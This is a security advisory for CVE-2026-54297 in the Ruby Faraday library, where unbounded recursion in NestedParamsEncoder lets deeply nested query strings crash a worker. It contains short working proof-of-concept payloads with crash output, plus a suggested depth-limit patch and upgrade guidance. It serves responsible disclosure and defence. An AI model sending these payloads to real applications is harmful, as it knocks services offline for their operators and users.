---
id: CVE-2026-54297
title: >-
  Faraday: Uncontrolled recursion in NestedParamsEncoder allows stack exhaustion
  DoS via deeply nested query parameters
summary: >-
  Faraday: Uncontrolled recursion in NestedParamsEncoder allows stack exhaustion
  DoS via deeply nested query parameters
severity: high
cvss: 7.5
cwe:
  - CWE-674
vendor: faraday
product: faraday
affected:
  - faraday <= 2.14.2
patched:
  - faraday 2.14.3
published: '2026-06-19'
updated: '2026-06-19'
source: GHSA
sourceUrl: 'https://github.com/advisories/GHSA-98m9-hrrm-r99r'
references:
  - url: >-
      https://github.com/lostisland/faraday/security/advisories/GHSA-98m9-hrrm-r99r
  - url: 'https://github.com/advisories/GHSA-98m9-hrrm-r99r'
tags:
  - ghsa
  - rubygems
ingestedAt: '2026-06-22T15:52:21.046Z'
epss: 0.00757
epssPercentile: 0.5326
ecosystem: rubygems
---

## Overview

# Uncontrolled Recursion in NestedParamsEncoder Allows Stack Exhaustion DoS via Deeply Nested Query Parameters

## Summary

`Faraday::NestedParamsEncoder`, the default nested query parameter encoder/decoder in Faraday, decodes nested query strings without enforcing a maximum nesting depth.

A crafted query string such as:

```text
a[x][x][x][x]...[x]=1
```

causes Faraday to build a deeply nested Ruby `Hash` structure. The internal `dehash` routine then recursively walks this attacker-controlled structure without a depth limit. At sufficient depth, Ruby raises an uncaught `SystemStackError` (`stack level too deep`), crashing the calling thread or worker.

This can lead to denial of service in applications that pass attacker-controlled query strings to Faraday's nested query parsing or URL-building paths.

## Affected Product

- Product: Faraday
- Repository: https://github.com/lostisland/faraday
- Tested version: `v2.14.2-2-g59334e0`
- Tested commit: `59334e0e9b19`
- Ruby version: `ruby 3.2.3`
- Tested component: `Faraday::NestedParamsEncoder` / `Faraday::Utils.parse_nested_query`
- Date tested: `2026-05-24`

## Vulnerability Type

- Denial of Service
- Uncontrolled Recursion
- Stack Exhaustion

## Preconditions

An application must pass attacker-controlled or attacker-influenced query strings to one of Faraday's nested parameter parsing/building paths.

Confirmed reachable paths include:

1. Direct use of the public utility:

```ruby
Faraday::Utils.parse_nested_query(untrusted_query_string)
```

2. Normal Faraday request URL building:

```ruby
conn = Faraday.new('https://api.example.com')
conn.build_url("/search?#{untrusted_query_string}")
```

In the second case, the crash occurs during URL construction before any network request is sent.

## Impact

A relatively small query string can trigger a `SystemStackError` and crash the calling Ruby thread or worker.

In my local test environment, a payload of approximately 9.4 KB was sufficient:

```text
depth=3119
bytes=9360
result=SystemStackError
message="stack level too deep"
```

Repeated requests with such payloads may cause a denial of service against applications whose request path forwards, parses, or rebuilds attacker-controlled query strings through Faraday.

This issue does not provide remote code execution, authentication bypass, or data disclosure. The confirmed impact is availability loss.

## Technical Details

Faraday supports nested query parameters such as:

```text
user[name]=alice&user[roles][]=admin
```

which are decoded into nested Ruby structures.

However, Faraday also accepts arbitrarily deep nesting such as:

```text
a[x][x][x][x][x][x]...[x]=1
```

This creates a deeply nested structure similar to:

```ruby
{
  "a" => {
    "x" => {
      "x" => {
        "x" => {
          "x" => ...
        }
      }
    }
  }
}
```

The recursive `dehash` routine then walks the structure without a maximum depth check.

Affected file:

```text
lib/faraday/encoders/nested_params_encoder.rb
```

Relevant logic:

```ruby
def dehash(hash, depth)
  hash.each do |key, value|
    hash[key] = dehash(value, depth + 1) if value.is_a?(Hash)
  end
  # ...
end
```

Although the function accepts a `depth` argument, the value is not used to enforce a maximum depth. Therefore, recursion depth is fully controlled by the input query string.

## Proof of Concept

### PoC 1: Direct parser crash

```ruby
require 'faraday'

payload = "a#{'[x]' * 3119}=1"
Faraday::Utils.parse_nested_query(payload)
```

Observed result:

```text
SystemStackError: stack level too deep
```

### PoC 2: Normal URL-building crash

```ruby
require 'faraday'

conn = Faraday.new('https://api.example.com')
payload = "/search?a#{'[x]' * 3500}=1"
conn.build_url(payload)
```

Observed result:

```text
SystemStackError
```

No network request is required; the crash occurs during URL construction.

## Local Reproduction Results

The issue was reproduced locally against Faraday commit `59334e0e9b19`.

Environment:

```text
ruby 3.2.3
faraday v2.14.2-2-g59334e0
commit 59334e0e9b19
```

### Full PoC result

```text
== (A) DEEP nesting -> dehash recursion / stack exhaustion ==
  depth=100      parse=0.0003s  OK
  depth=1000     parse=0.0034s  OK
  depth=5000     *** SystemStackError (stack overflow DoS): SystemStackError
  depth=20000    *** SystemStackError (stack overflow DoS): SystemStackError
  depth=100000   *** SystemStackError (stack overflow DoS): SystemStackError

== (B) WIDE numeric keys -> dehash sort + numeric-key scan per level ==
  N=1000     parse=0.0093s
  N=10000    parse=0.1053s
  N=50000    parse=0.4992s
  N=100000   parse=1.1242s

== (C) MANY array pushes a[]&a[]&... ==
  N=1000     parse=0.0048s
  N=10000    parse=0.0614s
  N=50000    parse=0.2915s
  N=100000   parse=0.5403s
```

### Minimal depth test

```text
depth=100 bytes=303 result=OK
depth=1000 bytes=3003 result=OK
depth=2500 bytes=7503 result=OK
depth=3000 bytes=9003 result=OK
depth=3119 bytes=9360 result=SystemStackError message="stack level too deep"
depth=3500 bytes=10503 result=SystemStackError message="stack level too deep"
depth=5000 bytes=15003 result=SystemStackError message="stack level too deep"
```

### URL-building test

```text
build_url depth=100 bytes=311 result=OK
build_url depth=1000 bytes=3011 result=OK
build_url depth=3500 bytes=10511 result=SystemStackError
build_url depth=8000 bytes=24011 result=SystemStackError
```

These results confirm that both direct parsing and normal Faraday URL construction can trigger the stack exhaustion condition.

## Expected Behavior

Faraday should reject excessively deep nested query parameters with a controlled and rescuable exception.

For example, behavior similar to Rack's parameter depth limit would prevent stack exhaustion:

```text
Faraday::Error: Exceeded the maximum allowed nested parameter depth
```

## Actual Behavior

Faraday recursively processes attacker-controlled nesting depth and eventually raises:

```text
SystemStackError: stack level too deep
```

This exception indicates stack exhaustion and can crash the calling worker/thread.

## Suggested Fix

Add a configurable maximum nesting depth to `Faraday::NestedParamsEncoder`, similar to Rack's `param_depth_limit`.

Suggested behavior:

- Set a default maximum depth, for example `100`.
- Reject keys whose subkey chain exceeds the maximum depth.
- Raise a normal `Faraday::Error` or another controlled exception rather than allowing Ruby stack exhaustion.

Example patch concept:

```ruby
module Faraday
  module NestedParamsEncoder
    class << self
      attr_accessor :sort_params, :array_indices, :param_depth_limit
    end

    @param_depth_limit = 100
  end
end
```

Then in `decode_pair`:

```ruby
subkeys = key.scan(SUBKEYS_REGEX)
if param_depth_limit && subkeys.length > param_depth_limit
  raise Faraday::Error, "Exceeded the maximum allowed nested parameter depth of #{param_depth_limit}"
end
```

A local patch implementing this approach was tested. With the patch applied:

- The crash payloads raise a controlled `Faraday::Error` instead of `SystemStackError`.
- Normal nested query parsing still works.
- Existing encoder/utils tests passed in the local test set:

```text
42 examples, 0 failures
```

## Security Policy Fit

Faraday's `SECURITY.md` states that the `2.x` branch is supported for security updates and that vulnerabilities should be reported privately.

This issue was reproduced on the current tested `2.x` codebase:

```text
v2.14.2-2-g59334e0
commit 59334e0e9b19
```

The report is intended for private disclosure through GitHub Security Advisories and should not be opened as a public issue before maintainer triage.

## Related Public Discussions / Duplicate Check

I searched the public issue tracker, pull requests, changelog, and GitHub Advisory Database for similar reports using terms including:

```text
NestedParamsEncoder
parse_nested_query
SystemStackError
stack level too deep
param_depth_limit
nested parameter depth
Uncontrolled recursion
CWE-674
dehash depth
parse_nested_query depth
```

I did not find a public report or fix for this specific `NestedParamsEncoder` depth-limit / `SystemStackError` denial-of-service issue.

The closest unrelated public items I found were:

- `lostisland/faraday#1107` — `Infinite recursion (SystemStackError) on load when running with -rdebug with breakpoints`
  - This appears unrelated to nested query parameter parsing and `Faraday::NestedParamsEncoder`.
- `GHSA-33mh-2634-fwr2` / `CVE-2026-25765`
  - This concerns a protocol-relative URL / host override issue and does not address nested query parameter recursion or depth limiting.

Repo-local checks also found no existing `param_depth_limit` or equivalent mitigation in `lib/faraday/encoders/nested_params_encoder.rb`.

## Severity

Suggested severity: **Medium**

Rationale:

- The attack can be triggered over the network in applications that pass attacker-controlled query strings into Faraday's parsing/building paths.
- The payload is small enough to be practical, approximately 9.4 KB in the local reproduction.
- No authentication or user interaction is required in affected application patterns.
- The confirmed impact is availability only.

Because Faraday is a library, the exact severity depends on how an application exposes the affected parsing/building path to attacker-controlled input. If the maintainers prefer conservative scoring for library reachability, the availability impact could be adjusted accordingly.

## Notes

This report does not claim remote code execution, authentication bypass, or information disclosure.

The confirmed issue is an uncontrolled-recursion denial of service condition caused by missing nesting-depth enforcement in Faraday's nested parameter decoder.

No third-party live services were tested. Reproduction was performed only in a local lab environment.

## Reporter

Reported by: Emre Koca

Please let me know if you need additional reproduction details, logs, or a patch proposal.

## Affected packages

- `faraday <= 2.14.2`

## Remediation

Upgrade to a patched release:

- `faraday 2.14.3`
